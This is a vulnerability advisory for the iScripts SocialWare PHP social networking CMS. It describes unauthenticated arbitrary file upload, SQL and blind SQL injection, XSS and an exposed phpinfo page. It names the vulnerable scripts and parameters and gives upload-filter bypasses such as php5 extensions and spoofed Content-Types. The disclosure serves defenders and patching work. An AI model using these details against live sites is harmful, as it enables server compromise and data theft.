I. ABOUT THE APPLICATION

iScripts  SocialWare  is  an  award-winning,  easy to use
social  networking  software  that  enables you to create
your  own social network like MySpace, Orkut, Friendster,
Linkedin, Facebook, Hi5, etc.


II. DESCRIPTION

This  CMS  is  affected by multiple remote security flaws,
such as SQL Injection, Arbitrary File upload, etc.
These security flaws DO NOT require authentication. Other
files may be vulnerable.


III. ANALYSIS

Summary:

 A) Multiple Arbitrary File Upload
 B) Multiple SQL Injection
 C) Multiple Blind SQL Injection
 D) Multiple Reflected and Stored XSS
 E) Information Disclosure
 

A) Multiple Arbitrary File Upload

The file's extension of the file sent  to  jobs.php?step=4
using  the  txtResume parameter is not properly sanitised.
The  destination  folder  is  jobs/resume, permission 777.
There is no extension restriction.

Another  Arbitrary  File  Upload  flaw  was  reported in a
previous security advisory (2010-07-02):

http://www.salvatorefresta.net/files/adv/iScripts%20SocialWare%202.2.x%20Arbitrary%20File%20Upload%20Vulnerability-02072010.txt

event/function.php  is affected by the same arbitrary file
upload flaw reported in the previous security flaws. It is
possible  to  upload  a  php  file  if the Content-Type is
image/jpeg or image/gif and the file's extension is php5.
The destination directory is event_category.

manage_music.php is affected  by the same flaw reported in
the previous  security  advisory. It is possible to upload
a  php  file  if  the  Content-Type is allowed (audio/mpeg
etc.). The destination directory is music/files.

Also     manage_videos.php,      album.php (function.php),
manage_networks.php use the same vulnerable upload method.


B) Multiple SQL Injection

event_thereactive.php  is  included by events.php when the
action parameter is set to show. In this script, the id
parameter is not properly sanitised before being used in a
SQL query.  To  view the information without be redirected
to  another  page  from  events.php, the injection must be
sent using the POST method instead of the GET method. This
is possible because in the affected file, the id parameter
is readed using the $_REQUEST array.

event_create2.php is affected by the same bug.  To exploit
it, the action parameter must be set to create2.


C) Multiple Blind SQL Injection

The  Id parameter in function.php when $_POST['status'] is
set  to  create2 is not properly sanitised before being
used  in  a SQL query. This can be exploited to manipulate
SQL queries by injecting arbitrary SQL code.
The affected query types are respectively an UPDATE and  a
SELECT.


D) Multiple Reflected and Stored XSS

All  forms  that allow  HTML tags are vulnerable to stored
XSS.  The  reason  is  that  there  are  no  checks  about
javascript tags. Many reflected XSS  are allowed but it is
impossible use single/double quotes because of the escape.


E) Information Disclosure

phpinfo.php executes the  PHP  function's  phpinfo()  that
prints  a  lot  of  information  about the server and path
names.


IV. SAMPLE CODE

A) Multiple Arbitrary File Upload

Go to jobs.php?step=4 and try to upload any file.
